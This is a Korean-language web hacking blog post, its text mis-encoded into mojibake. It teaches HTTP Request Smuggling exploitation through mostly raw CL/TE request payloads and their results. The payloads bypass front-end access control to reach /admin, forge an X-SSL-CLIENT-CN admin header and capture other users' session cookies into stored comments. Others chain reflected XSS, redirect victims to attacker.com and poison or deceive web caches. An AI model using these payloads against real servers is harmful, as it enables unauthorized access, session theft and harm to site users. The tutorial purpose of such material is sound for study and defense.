web hacking ๐Ÿ–ฅ/techniques โŒ principles

HTTP Request Smuggling Exploit

Kortsec1 2024. 12. 10. 13:52

HTTP Request Smuggling(HRS)์€ ๋‹ค์–‘ํ•œ ๋ฐฉ์‹์˜ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ์•„๋ž˜ ๊ธ€์€ ๊ธฐ๋ณธ ๊ฐœ๋…์— ๊ด€ํ•œ ๋‚ด์šฉ์ด๋‹ค.

2024.12.08 - [web hacking ๐Ÿ–ฅ/techniques โŒ principles] - HTTP Request Smuggling ์ทจ์•ฝ์ 

 

HTTP Request Smuggling ์ทจ์•ฝ์ 

01. HTTP Request Smuggling ์ทจ์•ฝ์ ?HTTP Request Smuggling(HRS) ์ทจ์•ฝ์ ์€ 2005๋…„ ๋ฐœ๊ฒฌ๋˜์—ˆ๋‹ค. Front-end ์„œ๋ฒ„์™€ Back-end ์„œ๋ฒ„ ๊ฐ„์˜ ๋ถˆ์ผ์น˜๋ฅผ ์ด์šฉํ•ด ์ถ”๊ฐ€์ ์ธ Request๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค.Front-end : Content-Length ํ—ค๋”๋ฅผ ์šฐ

kortsec1n4mationm.tistory.com

 

01. Front-end Security Control ์šฐํšŒ

๋ช‡๋ช‡ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ front-end ์„œ๋ฒ„์— security controls๋ฅผ ๋‘์–ด ๊ฐ ์š”์ฒญ์„ ์ „๋‹ฌํ• ์ง€ ์—ฌ๋ถ€๋ฅผ ๊ฒฐ์ •ํ•œ๋‹ค. ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋œ ์‚ฌ์šฉ์ž์ธ์ง€๋ฅผ front-end์—์„œ ํŒ๋‹จํ•œ๋‹ค๋ฉด back-end๋Š” ๋งค ์ˆœ๊ฐ„ ๋“ค์–ด์˜ค๋Š” ์š”์ฒญ์„ ์˜์‹ฌํ•  ๋ถ€๋‹ด์ด ์ค€๋‹ค๋Š” ๊ตฌ์กฐ๋กœ ์ดํ•ดํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ, ์ด๋Ÿฌํ•œ ํ™˜๊ฒฝ์—์„œ HRS ์ทจ์•ฝ์ ์€ ์ ‘๊ทผ ์ œ์–ด๋ฅผ ์šฐํšŒํ•˜์—ฌ ์ œํ•œ๋œ URL์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค€๋‹ค.

ํ˜„ ์‚ฌ์šฉ์ž๊ฐ€ “/home” ์—๋Š” ์ ‘๊ทผ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, “/admin”์—๋Š” ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค๊ณ  ๊ฐ€์ •ํ•ด๋ณด์ž. ๊ทธ๋ ‡๋‹ค๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

POST /home HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
x: x

๋‹ค์Œ ์š”์ฒญ์œผ๋กœ ์ •์ƒ์ ์ธ “/home” ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค๊ฒŒ ๋œ๋‹ค.

GET /admin HTTP/1.1
x: xGET /home HTTP/1.1
Host: kortsec1.com
...

 

02. Revealing Front-end Request Rewriting

front-end ์„œ๋ฒ„์—์„œ ์š”์ฒญ์„ ์ˆ˜์ •ํ•˜์—ฌ back-end ์„œ๋ฒ„๋กœ ๋ณด๋‚ด๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋‹ค. ์•„๋ž˜ ์ƒํ™ฉ๊ณผ ๊ฐ™์ด ์ถ”๊ฐ€์ ์ธ ์š”์ฒญ ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ๋ณด๋‚ด๋Š” ๊ฒƒ์ด๋‹ค.

  • TLS ์—ฐ๊ฒฐ์„ ์ข…๋ฃŒํ•˜๊ณ  ์‚ฌ์šฉ๋œ ํ”„๋กœํ† ์ฝœ๊ณผ ์•”ํ˜ธ๋ฅผ ํ—ค๋”์— ์ถ”๊ฐ€ํ•œ๋‹ค.
  • X-Forwarded-For ํ—ค๋”๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž์˜ IP ์ฃผ์†Œ๋ฅผ ์ „๋‹ฌํ•œ๋‹ค.
  • ์„ธ์…˜ ํ† ํฐ์„ ํ†ตํ•ด ์‚ฌ์šฉ์ž๋ฅผ ์‹๋ณ„ํ•˜๊ณ  ํ—ค๋”์— ์ถ”๊ฐ€ํ•œ๋‹ค.

์šฐ๋ฆฌ๊ฐ€ HRS ๊ณต๊ฒฉ์„ ํ•  ๋•Œ front-end ์„œ๋ฒ„์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ํ—ค๋” ์ถ”๊ฐ€๊ฐ€ ์žˆ์œผ๋ฉด ์›ํ•˜๋Š” ๊ฒฐ๊ณผ๋ฅผ ๋ณผ ์ˆ˜ ์—†์„ ๊ฒƒ์ด๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ํšจ๊ณผ์ ์ธ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์•„๋ž˜ ๊ณผ์ •์„ ํ†ตํ•ด front-end ์„œ๋ฒ„์—์„œ ์ •ํ™•ํžˆ ์–ด๋–ป๊ฒŒ ์š”์ฒญ์„ ์ˆ˜์ •ํ• ์ง€ ์•Œ์•„๋ด์•ผ ํ•œ๋‹ค.

  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์‘๋‹ต์† ์š”์ฒญ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ’์„ ๋ฐ˜์˜ํ•˜๋Š” POST ์š”์ฒญ์„ ์ฐพ๋Š”๋‹ค.
  • ํ•ด๋‹น POST ์š”์ฒญ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ๋ฉ”์„ธ์ง€ ๋ณธ๋ฌธ์˜ ๋งˆ์ง€๋ง‰์— ์˜ค๋„๋ก ์กฐ์ •ํ•œ๋‹ค.
  • ์š”์ฒญ์„ back-end ์„œ๋ฒ„์— ๋ณด๋‚ด๊ณ  ์ •์ƒ ์š”์ฒญ์„ ๋ณด๋‚ด, ์›ํ•˜๋Š” ์ •๋ณด๋ฅผ ์–ป๋Š”๋‹ค.

์˜ˆ์‹œ๋ฅผ ์œ„ํ•ด “email” ํŒŒ๋ผ๋ฏธํ„ฐ์™€ ํ•จ๊ป˜ ๊ตฌ์„ฑ๋œ ๋กœ๊ทธ์ธ ํ•จ์ˆ˜๊ฐ€ ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜์ž.

POST /login HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

email=kortsec1@normal-user.net

์œ„ ์š”์ฒญ์€ ์•„๋ž˜ ๊ตฌ์„ฑ์„ ํฌํ•จํ•˜๋Š” ์‘๋‹ต์„ ๋ฐ›๋Š”๋‹ค.

<input id="email" value="kortsec1@normal-user.net" type="text">

์ด์ œ HRS ๊ณต๊ฒฉ์„ ํ†ตํ•ด front-end ์„œ๋ฒ„์˜ rewriting ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 125
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=

์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด “0” ์ดํ›„์˜ ๊ฐ’์€ ๋‚จ๊ฒŒ๋˜๊ณ  ๋‹ค์‹œ ์ •์ƒ์ ์ธ “/login” ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด back-end ์„œ๋ฒ„๋Š” ํ•ด๋‹น ์š”์ฒญ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ front-end ์„œ๋ฒ„์—์„œ ์ถ”๊ฐ€ํ•˜๋Š” ํ—ค๋”๊นŒ์ง€ ํŒŒ๋ผ๋ฏธํ„ฐ “email”์˜ ๊ฐ’์œผ๋กœ ๋ฐ›๊ฒŒ๋œ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์‘๋‹ต์˜ html ๋ธ”๋Ÿญ์— ์ถ”๊ฐ€ ํ—ค๋” ์ •๋ณด๊ฐ€ ๋ณด์—ฌ์ง€๋Š” ๊ฒƒ์ด๋‹ค.

<input id="email" value="POST /login HTTP/1.1
Host: kortsec1.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

์ด๋ ‡๊ฒŒ ์•Œ๊ฒŒ๋œ ์ •๋ณด๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ ์š”์ฒญ์„ ์ˆ˜์ •ํ•˜์—ฌ back-end ์„œ๋ฒ„์— ๋ณด๋‚ด๋ฉด, ์ •์ƒ์ ์ธ ์š”์ฒญ์œผ๋กœ ์œ„์กฐํ•˜์—ฌ ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

 

03. ์‚ฌ์šฉ์ž ์ธ์ฆ ์šฐํšŒ

TLS handshake์˜ ์ผ๋ถ€๋กœ ์„œ๋ฒ„๋Š” ์ธ์ฆ์„œ๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ ํด๋ผ์ด์–ธํŠธ(๋ณดํ†ต ๋ธŒ๋ผ์šฐ์ €)์—๊ฒŒ ๊ฒ€์ฆ๋˜์—ˆ์Œ์„ ์•Œ๋ฆฐ๋‹ค. ์ด๋Ÿฌํ•œ ์ธ์ฆ์„œ๋Š” ๋“ฑ๋ก๋œ hostname๊ณผ ๋งค์นญ๋˜๋Š” “common name”(CN)์„ ํฌํ•จํ•œ๋‹ค. ํด๋ผ์ด์–ธํŠธ๋Š” ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ๊ฒ€์ฆ๋œ ์„œ๋ฒ„์™€ ์ •์ƒ์ ์ธ ์š”์ฒญ์„ ์ฃผ๊ณ ๋ฐ›์„ ์ˆ˜ ์žˆ๋‹ค.

๋” ๋‚˜์•„๊ฐ€ ๋ช‡๋ช‡ ์‚ฌ์ดํŠธ๋“ค์€ ์„œ๋ฒ„ ๋ฟ๋งŒ ์•„๋‹Œ ํด๋ผ์ด์–ธํŠธ๋„ ์ธ์ฆ์„œ๋ฅผ ์ œ๊ณตํ•˜๋Š” ํ™˜๊ฒฝ์„ ๊ฐ–์ถ”๊ณ ์žˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ, ํด๋ผ์ด์–ธํŠธ์˜ CN์€ ์ฃผ๋กœ “username”๊ณผ ๊ฐ™์€ ๊ฐ’์„ ๋ฐ”ํƒ•์œผ๋กœ back-end ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์† access control ๋งค์ปค๋‹ˆ์ฆ˜์˜ ๊ฒ€์ฆ์„ ๋ฐ›๋Š”๋‹ค.

ํด๋ผ์ด์–ธํŠธ๋ฅผ ์ฆ๋ช…ํ•˜๋Š” ์š”์†Œ๋“ค์€ ํ•˜๋‚˜ ์ด์ƒ์˜ non-standard HTTP ํ—ค๋”๋ฅผ ํ†ตํ•ด ๊ด€๋ จ ์ •๋ณด๋“ค์„ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด๋‚˜ back-end ์„œ๋ฒ„๋กœ ๋„˜๊ธด๋‹ค. ์˜ˆ๋ฅผ๋“ค์–ด, ๋ช‡๋ช‡ front-end ์„œ๋ฒ„๋“ค์€ ๋“ค์–ด์˜ค๋Š” ์š”์ฒญ์— ํด๋ผ์ด์–ธํŠธ์˜ CN์„ ํฌํ•จํ•˜๋Š” ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ๋„˜๊ธด๋‹ค.

GET /admin HTTP/1.1
Host: kortsec1.com
X-SSL-CLIENT-CN: ch4n_un9

์ด๋Ÿฌํ•œ ํ—ค๋”๋“ค์€ ์‚ฌ์šฉ์ž๋“ค์˜ ์ž…์žฅ์—์„  ์•Œ ์ˆ˜ ์—†๊ธฐ์— back-end ์„œ๋ฒ„๋Š” ๋ฏฟ์„ ์ˆ˜ ์žˆ๋Š” ์ •๋ณด๊ฐ€ ๋œ๋‹ค. ์—ฌ๊ธฐ์„œ ์šฐ๋ฆฌ๊ฐ€ ํ—ค๋”์˜ ์ •ํ™•ํ•œ ์กฐํ•ฉ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์ด๋Š” ์ ‘๊ทผ ํ†ต์ œ ์šฐํšŒ๊ฐ€ ๋˜๋Š” ๊ฒƒ์ด๋‹ค. front-end ์„œ๋ฒ„๋Š” ํ—ค๋”๊ฐ€ ์ด๋ฏธ ์กด์žฌํ•œ๋‹ค๋ฉด ์ด๋ฅผ ๋ฎ์–ด์“ด ํ›„ ๋ณด๋‚ด๊ธฐ ๋•Œ๋ฌธ์— ์‹ค์ œ ๊ณต๊ฒฉ์€ ์‰ฝ์ง€ ์•Š๋‹ค. ํ•˜์ง€๋งŒ, HRS ์ทจ์•ฝ์ ์„ ์ด์šฉํ•œ ๊ณต๊ฒฉ์€ front-end ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ ํ—ค๋”๋ฅผ ์ˆจ๊ธฐ๊ณ  ๋ณด๋‚ผ ์ˆ˜ ์žˆ๊ธฐ์— ๊ฐ„์„ญ์—†์ด back-end ์„œ๋ฒ„๋กœ ์š”์ฒญ์„ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ๋‹ค.

POST / HTTP/1.1
Host: kortsec1.com
Content-Type: x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: admin
x: x

 

04. ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ ๊ฐ€๋กœ์ฑ„๊ธฐ

๋Œ“๊ธ€, ์ด๋ฉ”์ผ, ํ”„๋กœํ•„ ์†Œ๊ฐœ์™€ ๊ฐ™์ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ํ…์ŠคํŠธ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ณ  ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์žˆ๋Š” ์š”์†Œ๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋“ค์˜ ์š”์ฒญ์„ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ๋Š” ์ˆ˜๋‹จ์ด ๋œ๋‹ค.

๊ณต๊ฒฉ ์ˆ˜ํ–‰์„ ์œ„ํ•ด์„  ์ €์žฅํ•  ๋ฐ์ดํ„ฐ๊ฐ€ ๋งˆ์ง€๋ง‰์— ์œ„์น˜ํ•ด ์žˆ๋Š” ์š”์ฒญ์„ smuggle ํ•ด์•ผํ•œ๋‹ค. ์˜ˆ๋ฅผ๋“ค์–ด ๋ธ”๋กœ๊ทธ์— ์ €์žฅ๋˜๊ณ  ๋ณด์—ฌ์ง€๋Š” ๋Œ“๊ธ€ ๊ธฐ๋Šฅ์ด ์žˆ๊ณ , ์•„๋ž˜์™€ ๊ฐ™์€ ์š”์ฒญ์„ ์‚ฌ์šฉํ•œ๋‹ค ํ•ด๋ณด์ž.

POST /post/comment HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Cookie: session=xxx

csrf=xxx&postID=4&comment=ur_commnet&name=kortsec1

๋Œ“๊ธ€์— ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€๋กœ์ฑ„์–ด ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด HRS ๊ณต๊ฒฉ ์š”์ฒญ์„ ๋ณด๋‚ธ๋‹ค.

GET / HTTP/1.1
Host: kortsec1.com
Transfer-Encoding: chunked
Content-Length: 300

0

POST /post/comment HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=xxx

csrf=xxx&postId=4&comment=ur_comment&name=kortsec1&comment=

Content-Length ํ—ค๋”๋ฅผ ๋„‰๋„‰ํžˆ ์žก๊ณ , body์† “commnet”๋ฅผ ๊ฐ€์žฅ ๋งˆ์ง€๋ง‰์— ๋‘” ํ›„ HRS ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•œ๋‹ค๋ฉด ์„œ๋ฒ„๋Š” Content-Length ํ—ค๋”์˜ ๊ฐ’๋งŒํผ์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๋ฉฐ ๋‹ค์Œ ์š”์ฒญ์„ ๋Œ“๊ธ€๋กœ ์ €์žฅํ•˜๊ฒŒ ๋˜๋Š” ๊ฒƒ์ด๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

POST /post/comment HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=xxx

csrf=xxx&postId=4&comment=ur_comment&name=kortsec1&comment=GET / HTTP/1.1
Host: kortsec1.com
Cookie: session=yyy
...

์œ„์™€๊ฐ™์ด ํ”ผํ•ด์ž์˜ ์š”์ฒญ๊ฐ’์ด ๋Œ“๊ธ€๋กœ ์ž‘์„ฑ๋˜๋ฉฐ ๋ธ”๋กœ๊ทธ์— ๋ฐฉ๋ฌธํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ์†์‰ฝ๊ฒŒ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

05. Reflected XSS with HRS

๋งŒ์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด reflected XSS์— ๋Œ€ํ•œ ์ทจ์•ฝ์ ์ด ์กด์žฌํ•œ๋‹ค๋ฉด, HRS ์ทจ์•ฝ์ ๊ณผ ์—ฐ๊ฒฐํ•œ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ๋ณดํ†ต์˜ reflected XSS exploit๊ณผ ๋‹ฌ๋ฆฌ, ์ด๋Š” ํ”ผํ•ด์ž๊ฐ€ ์ง์ ‘ URL์— ์ ‘๊ทผํ•˜๋Š” ํ˜•์‹์ด ์•„๋‹ˆ๋‹ค. ๋‹จ์ง€, ๊ณต๊ฒฉ ์š”์ฒญ์„ smuggle ํ•ด๋†“๊ณ  ํ”ผํ•ด์ž๊ฐ€ ์ •์ƒ์ ์œผ๋กœ HTTP ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด ๋๋‚œ๋‹ค.

User-Agent ํ—ค๋”์— reflected XSS ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ์ƒํ™ฉ์—์„œ ์•„๋ž˜์™€ ๊ฐ™์€ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 64
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(7)</script>
X: X

๋‹ค๋ฅธ ์œ ์ €๊ฐ€ ๋‹ค์Œ ์š”์ฒญ์„ ๋ณด๋‚ธ๋‹ค๋ฉด reflected XSS ๊ณต๊ฒฉ ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋œ ์‘๋‹ต์„ ๋ฐ›๊ฒŒ ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

 

06. Open Redirect with HRS

๋งŽ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๋“ค์€ URL ์ด๋™ ์‹œ on-site redirect๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ HTTP ์š”์ฒญ์˜ Host ํ—ค๋”๋ฅผ redirect URL์— ์œ„์น˜์‹œํ‚จ๋‹ค. Apache์™€ IIS ์™€ ๊ฐ™์€ ์›น ์„œ๋ฒ„๋“ค์„ ๋ณด๋ฉด trailing slash ์—†์ด ์š”์ฒญ์„ ๋ฐ›์œผ๋ฉด ์ด๋ฅผ ํฌํ•จํ•œ URL๋กœ redirect ์‹œํ‚จ๋‹ค.

GET /asdf HTTP/1.1
Host: kortsec1.com

HTTP/1.1 301 Moved Permanently
Location: <https://kortsec1.com/asdf/>

์ด๋Š” ๋ณ„ ๋ฌธ์ œ๊ฐ€ ์•„๋‹Œ ๊ฒƒ ์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ, HRS ๊ณต๊ฒฉ๊ณผ ๋งŒ๋‚œ๋‹ค๋ฉด ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋“ค์ด ์™ธ๋ถ€ ๋„๋ฉ”์ธ์— ์ ‘์†ํ•˜๊ฒŒ ์œ ๋„ํ•  ์ˆ˜ ์žˆ๋‹ค.

POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 49
Transfer-Encoding: chunked

0

GET /asdf HTTP/1.1
Host: attacker.com
X: X

์œ„ ๊ณต๊ฒฉ์€ ๋‹ค์Œ ์š”์ฒญ์ด ๋“ค์–ด์˜จ ์‚ฌ์šฉ์ž๊ฐ€ “attacker.com” ์ด๋ผ๋Š” ์•…์˜์ ์ธ ์™ธ๋ถ€ ๋„๋ฉ”์ธ์— ์ ‘๊ทผํ•˜๊ฒŒ ๋งŒ๋“ ๋‹ค.

GET /asdf HTTP/1.1
Host: attacker.com
X: XGET / HTTP/1.1
Host: kortsec1.com

HTTP/1.1 301 Moved Permanently
Location: <https://attacker.com/asdf>

protocol-relative URL์ด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ์ด๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•˜๋‹ค.

GET //attacker.com/asdf HTTP/1.1
Host: kortsec1.com

HTTP/1.1 301 Moved Permanently
Location: //attacker.com/asdf/

 

07. ์›น ์บ์‹œ with HRS

์›น ์บ์‹œ Poisoning

front-end ์„œ๋ฒ„๊ฐ€ ์„ฑ๋Šฅ์„ ์œ„ํ•ด ์ •๋ณด๋ฅผ ์บ์‹ฑํ•˜๊ณ  ์žˆ๋‹ค๋ฉด ์ด๋Š” HRS ๊ณต๊ฒฉ๊ณผ ๋งŒ๋‚˜ off-site redirection์„ ์ด๋Œ์–ด๋‚ธ๋‹ค. HRS๋ฅผ ํ†ตํ•ด redirection ์š”์ฒญ๊ณผ ์ž˜๋ชป๋œ Host๋ฅผ ์บ์‹ฑํ•˜์—ฌ ์ง€์†์ ์œผ๋กœ ์—ฌ๋Ÿฌ ํ”ผํ•ด์ž๋“ค์—๊ฒŒ ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋‹ค.

POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 49
Transfer-Encoding: chunked

0

GET /asdf HTTP/1.1
Host: attacker.com
X: X

์œ„ ์š”์ฒญ์€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๋‹ค์Œ ์š”์ฒญ์ด “attacker.com/asdf” ์œผ๋กœ redirect ๋˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ๋‹ค. off-site redirect๊ฐ€ ์‹คํ–‰๋˜๊ธฐ ์ „์— back-end ์„œ๋ฒ„์— ๋‚จ์•„์žˆ๋Š” ์ƒํƒœ๋‹ค.

GET /asdf HTTP/1.1
Host: attacker.com
X: XGET /static/include.js HTTP/1.1
Host: kortsec1.com

front-end ์„œ๋ฒ„๋Š” “/static/include.js”๋ฅผ ์•…์˜์ ์ธ ๋„๋ฉ”์ธ์— ์š”์ฒญํ•˜๊ณ  ์ด๋ฅผ ์บ์‹ฑํ•œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์•„๋ž˜์™€ ๊ฐ™์ด ๋‹ค๋ฅธ ์ž์šฉ์ž๋“ค์ด ํ•ด๋‹น URL์„ ์š”์ฒญํ•˜๋ฉด “attacker.com/asdf”๋กœ์˜ redirection์„ ์‘๋‹ต์œผ๋กœ ๋ฐ›๋Š”๋‹ค.

GET /static/include.js HTTP/1.1
Host: kortsec1.com

HTTP/1.1 301 Moved Parmanently
Location: <https://attacker.com/asdf/>

์›น ์บ์‹œ Deception

Poisoning์€ ์•…์˜์ ์ธ ์š”์ฒญ์„ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ €์žฅํ•ด๋†“๊ณ  ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๊ฐ€ ์‹คํ–‰ํ•˜๋„๋ก ์œ ๋„ํ•˜๋Š” ๊ณผ์ •์ด์—ˆ๋‹ค. Deception ๊ณผ์ •์€ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์บ์‹œ์— ์ €์žฅํ•˜๊ฒŒ ํ•œ ํ›„, ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ํšŒ์ˆ˜ํ•˜๋Š” ๊ณต๊ฒฉ์ด๋‹ค.

POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 35
Transfer-Encoding: chunked

0

GET /secret/msg HTTP/1.1
X: X

๊ณต๊ฒฉ์ž๋Š” “/secret/msg” ๊ฒฝ๋กœ๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๋ฏผ๊ฐํ•œ ์ •๋ณด ์ ‘๊ทผ์„ ์œ ๋„ํ•˜๊ณ  ์žˆ๋‹ค.

GET /secret/msg HTTP/1.1
X: XGET /static/image.png HTTP/1.1
Host: kortsec1.com
Cookie: sessionId=xxx
...

๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋Š” “/static/image.png”์— ์ ‘๊ทผํ•˜๋ ค ํ–ˆ์ง€๋งŒ ๊ณต๊ฒฉ์ž์˜ ์˜๋„๋Œ€๋กœ “/secret/msg”์— ์ ‘๊ทผํ•˜์˜€๊ณ , front-end๋Š” ์ด๋ฅผ ์บ์‹ฑํ•˜์—ฌ “/static/image.png”์—๋Š” ํ”ผํ•ด์ž์˜ ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ์ €์žฅ๋œ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ๋‹จ์ˆœํžˆ ํ•ด๋‹น URL์— ์ ‘๊ทผํ•˜์—ฌ ์ •๋ณด๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ ์ค‘์š”ํ•œ ์‚ฌ์‹ค์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ •ํ™•ํžˆ ์–ด๋–ค URL์— ์ €์žฅ๋˜์–ด์žˆ๋Š”์ง€๋ฅผ ๋ชจ๋ฅธ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. ๋นˆ๋ฒˆํ•œ ๊ณณ์„ ํƒ€๊ฒŸํŒ…ํ•˜๊ฑฐ๋‚˜ ๋งŽ์€ ์–‘์˜ static URL ๋“ค์„ ์‚ดํŽด๋ณด์•„์•ผ ํ•œ๋‹ค.

'web hacking ๐Ÿ–ฅ > techniques โŒ principles' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Advanced Request Smuggling  (2) 2024.12.15
HTTP Request Smuggling ์ทจ์•ฝ์   (0) 2024.12.08
Race Condition  (0) 2024.04.05
SSTI - RCE(Remote Code Execution) ์—ฐ๊ณ„ ๊ณต๊ฒฉ  (0) 2023.10.13